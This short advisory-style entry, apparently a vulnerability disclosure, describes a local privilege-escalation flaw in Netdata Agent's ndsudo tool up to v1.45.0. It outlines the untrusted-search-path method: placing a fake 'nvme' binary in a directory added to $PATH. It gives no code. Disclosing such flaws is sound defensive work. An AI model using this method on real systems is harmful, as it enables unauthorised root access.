              The `ndsudo` is a tool shipped with Netdata Agent. The version v1.45.0 and below contain vulnerability, which allows an attacker to gain privilege escalation using `ndsudo` binary. The vulnerability is untrusted search path, when searching for additional binary files, such as `nvme`. An attacker can create malicious binary with same name and add the directory of this binary into `$PATH` variable. The `ndsudo` will trust the first occurence of this binary and execute it.
